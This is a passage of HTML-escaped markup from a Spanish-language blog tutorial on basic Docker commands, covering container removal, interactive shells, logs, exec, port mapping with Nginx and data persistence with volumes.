style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; minutes ago            lucid_morse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;borrar-un-contenedor&#34;&gt;Borrar un contenedor&lt;/h2&gt;&#xA;&lt;p&gt;Para borrar los contenedores, puedes usar el comando &lt;em&gt;docker rm&lt;/em&gt;, con el nombre o id del contenedor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rm nombre_o_id_del_contenedor&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;borrar-todos-los-contenedores-en-docker&#34;&gt;Borrar todos los contenedores en Docker&lt;/h2&gt;&#xA;&lt;p&gt;Es bastante común querer borrar todos los contenedores en Docker. &lt;strong&gt;Para hacerlo necesitamos conseguir todos los id de los contenedores.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Si ejecutas el siguiente comando verás como se imprime una lista con todos los id de los contenedores. Así es, es el mismo comando que ejecutamos anteriormente para ver todos los procesos de Docker, la opción &lt;em&gt;-q&lt;/em&gt; hace que solo nos muestre los id de esos procesos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps -aq&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;8344e4d39fbf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;42174ad3810d&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que tenemos todos los id, podemos usar esta lista con el comando docker rm para eliminar todos los contenedores.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rm &lt;span style=&#34;color:#ff6ac1&#34;&gt;$(&lt;/span&gt;docker ps -aq&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;acceder-a-la-terminal-de-un-contenedor&#34;&gt;Acceder a la terminal de un contenedor&lt;/h2&gt;&#xA;&lt;p&gt;El siguiente comando nos introducirá en un contenedor creado a partir de una imagen. Técnicamente lo que hace docker run -it es vincular la entrada estándar (STDIN) de nuestro sistema operativo con la entrada estándar (STDIN) de nuestro contenedor. Esto nos permite correr un contenedor con el que podemos interactuar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -it ubuntu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Nota como el prompt de la terminal cambiará&lt;/strong&gt; y nos encontraremos en una terminal desde la cual podremos interactuar.&lt;/p&gt;&#xA;&lt;p&gt;Intenta ejecutar un &lt;em&gt;ls&lt;/em&gt; o un &lt;em&gt;pwd&lt;/em&gt;. Podrás notar que estás dentro de un sistema operativo GNU/Linux. Puedes crear archivos, modificarlos, crear carpetas, etc.&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes nada sobre comandos de GNU/Linux puedes revisar mi entrada sobre los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comandos básicos de GNU Linux: cd, ls, rm, etc.&lt;/a&gt;&#xA; para refrescar tu memoria.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pwd&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-saber-cuanta-memoria-o-procesador-usa-un-contenedor&#34;&gt;¿Cómo saber cuanta memoria o procesador usa un contenedor?&lt;/h2&gt;&#xA;&lt;p&gt;Usa el comando &lt;em&gt;docker stats&lt;/em&gt; y te mostrará cuanta memoria o CPU está usando cada contenedor en tiempo real.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker stats&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID   NAME                  CPU %     MEM USAGE / LIMIT    MEM %     NET I/O          BLOCK I/O        PIDS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;id&amp;gt;   &amp;lt;container_name&amp;gt;   0.00%     116.2MiB / 11.4GiB   1.00%     337kB / 53.9kB   111MB / 709kB    &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;id&amp;gt;   &amp;lt;container_name&amp;gt;   0.00%     41.12MiB / 11.4GiB   0.35%     52kB / 97kB      29.4MB / 295kB   &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-extraer-un-archivo-de-un-contenedor-de-docker&#34;&gt;¿Cómo extraer un archivo de un contenedor de Docker?&lt;/h2&gt;&#xA;&lt;p&gt;Para extraer un archivo de un contenedor usamos el comando &lt;em&gt;docker cp&lt;/em&gt;, que básicamente es un análogo del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;comando cp de Linux&lt;/a&gt;&#xA;, con la siguiente sintaxis&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker cp &amp;lt;container_name&amp;gt;:&amp;lt;path_to_file&amp;gt; &amp;lt;path_to_extract_on_your_computer&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;correr-un-contenedor-de-docker-en-segundo-plano&#34;&gt;Correr un contenedor de Docker en segundo plano&lt;/h2&gt;&#xA;&lt;p&gt;Cuando queremos que un contenedor permanezca ejecutándose en segundo plano usamos la etiqueta &lt;em&gt;-d&lt;/em&gt;, que viene de detach (también puedes recordarlo fácilmente asociándolo con &amp;ldquo;daemon&amp;rdquo;).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ahora ejecutamos &lt;em&gt;docker ps&lt;/em&gt;, para ver los procesos que están corriendo en Docker, podemos notar que el servidor Nginx que pusimos en marcha con el comando anterior se encuentra activo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID    IMAGE           COMMAND                  CREATED             STATUS              PORTS        NAMES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;8c7fbece083b    nginx           &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/docker-entrypoint.…&amp;#34;&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt; seconds ago       Up &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; seconds        80/tcp       boring_hugle&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ver-los-logs-de-un-contenedor&#34;&gt;Ver los logs de un contenedor&lt;/h2&gt;&#xA;&lt;p&gt;Si nuestro contenedor no pudo ejecutarse de la manera en la que esperábamos, examinar los logs sería un buen punto de partida.&lt;/p&gt;&#xA;&lt;p&gt;Para esta tarea Docker nos provee del comando &lt;em&gt;docker logs&lt;/em&gt;, al cual le especificaremos el contenedor a inspeccionar. Al contenedor del paso anterior se le asignó el nombre de &amp;ldquo;boring_hugle&amp;rdquo;, aunque el tuyo puede tener hombre.&lt;/p&gt;&#xA;&lt;p&gt;Por ahora no te preocupes por los errores y las advertencias.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker logs &amp;lt;nombre_del_contenedor&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/docker-entrypoint.sh: Looking &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; shell scripts in /docker-entrypoint.d/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ejecutar-un-comando-en-un-contenedor-corriendo&#34;&gt;Ejecutar un comando en un contenedor corriendo&lt;/h2&gt;&#xA;&lt;p&gt;Para ejecutar un comando en un &lt;strong&gt;contenedor que está corriendo&lt;/strong&gt; se usará el comando exec. Es importante hacer notar que aquí se &lt;strong&gt;usa el nombre del contenedor,&lt;/strong&gt; no de la imagen. El comando siguiente ejecutará bash en el contenedor. Recuerda que para ver los contenedores corriendo usamos &amp;ldquo;&lt;em&gt;docker ps -a&lt;/em&gt;&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker &lt;span style=&#34;color:#ff5c57&#34;&gt;exec&lt;/span&gt; -it &amp;lt;nombre_del_contenedor&amp;gt; bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El uso de &lt;em&gt;docker exec&lt;/em&gt; no se limita a entrar en un terminal. Mira lo que sucede si ejecutamos el comando curl a localhost en el contendor donde se está ejecutando Nginx.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker &lt;span style=&#34;color:#ff5c57&#34;&gt;exec&lt;/span&gt; -it boring_hugle curl localhost&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;html&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;head&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;detener-un-contenedor-de-docker&#34;&gt;Detener un contenedor de Docker&lt;/h2&gt;&#xA;&lt;p&gt;Para detener un contenedor que está corriendo basta con ejecutar &lt;em&gt;docker stop&lt;/em&gt;, seguido del nombre o id del contenedor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker stop &amp;lt;nombre_o_id_del_contenedor&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;iniciamos-un-contenedor&#34;&gt;Iniciamos un contenedor&lt;/h2&gt;&#xA;&lt;p&gt;Si queremos correr un contenedor que se encuentra detenido usamos ahora &lt;em&gt;docker start&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker start &amp;lt;nombre_o_id_del_contenedor&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;reiniciar-un-contenedor-de-docker&#34;&gt;Reiniciar un contenedor de Docker&lt;/h2&gt;&#xA;&lt;p&gt;Si en lugar de eso queremos reiniciar un contenedor que se encuentra corriendo podemos usar &lt;em&gt;docker restart&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker restart &amp;lt;nombre_o_id_del_contenedor&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;comandos-de-docker-para-exponer-un-puerto-en-un-contenedor-de-docker-al-exterior&#34;&gt;Comandos de Docker para exponer un puerto en un contenedor de Docker al exterior&lt;/h2&gt;&#xA;&lt;p&gt;Hasta ahora hemos creado contenedores con los cuales no podemos interaccionar desde el exterior. Si intentamos abrir localhost del veremos que nuestro contenedor de Nginx no nos devuelve nada.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/ErrorFirefox.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/ErrorFirefox.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Página de error de conexión en Firefox&#34; width=&#34;856&#34; height=&#34;470&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Error de Firefox al intentar acceder al contenedor de Nginx&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esto sucede porque cada contenedor tiene su propia red y sus propios puertos. Si queremos redirigir los puertos del contenedor hacia los puertos de nuestra computadora usamos la opción &lt;em&gt;-p&lt;/em&gt;, &lt;strong&gt;colocando primero el numero de puerto nuestra computadora&lt;/strong&gt; separado con dos puntos del que corresponde al contenedor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d --name servidorNginx -p 8080:80 nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El comando anterior creó una instancia del servidor web Nginx, por lo que redireccionaremos, a NUESTRO puerto 8080, lo que sale de SU puerto 80.&lt;/p&gt;&#xA;&lt;p&gt;Al terminar de ejecutar este comando puedes abrir tu navegador y comprobar que, ahora sí, está corriendo un servidor en Nginx.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/nginx-corriendo-sobre-docker.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/nginx-corriendo-sobre-docker.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Mensaje de bienvenida de un servidor&#34; width=&#34;620&#34; height=&#34;274&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;persistencia-de-datos-con-volumenes-en-docker&#34;&gt;Persistencia de datos con volúmenes en Docker&lt;/h2&gt;&#xA;&lt;p&gt;Los cambios que hacemos dentro de los contenedores de Docker, tales como crear archivos, modificar configuraciones y otros, se quedan ahí, si nosotros borramos el contenedor la información y los cambios se pierden para siempre.&lt;/p&gt;&#xA;&lt;h3 id=&#34;persistencia-de-datos-en-docker&#34;&gt;Persistencia de datos en Docker&lt;/h3&gt;&#xA;&lt;p&gt;Los volúmenes son la herramienta que nos permitirá almacenar información fuera de los contenedores y que, por lo tanto, permanece aunque los borremos.&lt;/p&gt;&#xA;&lt;p&gt;Puedes pensar en ellos como partes aisladas en tu sistema, que puedes montar en el sistema de los contenedores.&lt;/p&gt;&#xA;&lt;p&gt;Docker almacena estos contenedores en la ubicación &amp;ldquo;&lt;em&gt;/var/lib/docker/volumes/nombre_del_volumen/_data&lt;/em&gt;&amp;rdquo;. &lt;strong&gt;Estas carpetas son solo accesibles para docker y el usuario root&lt;/strong&gt;, por lo que no tenemos los permisos para modificar su contenido directamente, usando nuestro usuario normal. Repasa los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/entiende-los-permisos-en-gnu-linux-y-el-comando-chmod/&#34;&gt;permisos en GNU/Linux&lt;/a&gt;&#xA; si tienes dudas.&lt;/p&gt;&#xA;&lt;p&gt;Vamos a tratar de dejarlo más claro con un ejemplo:&lt;/p&gt;&#xA;&lt;h3 id=&#34;crear-un-volumen-al-correr-una-imagen&#34;&gt;Crear un volúmen al correr una imagen&lt;/h3&gt;&#xA;&lt;p&gt;Para crear un volumen al correr un contenedor lo especificamos con la opción -v, seguido que queremos asignar al volumen, separado por dos puntos de la ubicación a la que queremos asignar el volumen en el contenedor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d -it --name &amp;lt;nombre_contenedor&amp;gt; -v &amp;lt;nombre_del_volumen&amp;gt;:/var/lib/mysql ubuntu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ahora entramos en la terminal de ese contenedor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker &lt;span style=&#34;color:#ff5c57&#34;&gt;exec&lt;/span&gt; -it &amp;lt;nombre_contenedor&amp;gt; bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez en el contenedor entramos en la carpeta &lt;em&gt;/var/lib/mysql&lt;/em&gt; y creamos un archivo llamado &lt;em&gt;db.sql&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; /var/lib/mysql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch db.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora, si hacemos un ls en la ubicación donde Docker guarda los volúmenes deberíamos ver el archivo que acabamos de crear.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ls /var/lib/docker/volumes/nombre_del_volumen/_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¡Ahí está! Si ahora detenemos y borramos el contenedor apreciaremos que nuestro volumen sigue existiendo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker stop &amp;lt;nombre_del_contenedor&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rm &amp;lt;nombre_del_contenedor&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo ls /var/lib/docker/volumes/nombre_del_volumen/_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¡Sobrevivió al borrado de su contenedor! El archivo &lt;em&gt;db.sql&lt;/em&gt; forma parte del volumen llamado nombre_del_volumen (o el que tú le hayas puesto) y para tener acceso a él nuevamente basta con montar el volumen en otro contenedor. Más adelante te explico como.&lt;/p&gt;&#xA;&lt;p&gt;Antes, veamos otra manera de crear volúmenes.&lt;/p&gt;&#xA;&lt;h3 id=&#34;crear-volumenes-en-docker&#34;&gt;Crear volúmenes en Docker&lt;/h3&gt;&#xA;&lt;p&gt;Docker también permite crear un volumen sin correr un contenedor usando el comando &lt;em&gt;docker volume create&lt;/em&gt;, seguido del nombre que deseemos para nuestro volumen. Como ya mencionamos, Docker creará cada uno de estos volúmenes en la ubicación &amp;ldquo;/var/lib/docker/volumes/nombre_del_volumen/&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume create &amp;lt;nombre_del_volumen&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;inspeccionar-volumen&#34;&gt;Inspeccionar volumen&lt;/h3&gt;&#xA;&lt;p&gt;Si inspeccionamos un volumen veremos información relacionada con el volumen que creamos, donde está localizado en nuestro sistema, su nombre y la fecha de creación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume inspect &amp;lt;nombre_del_volumen&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span 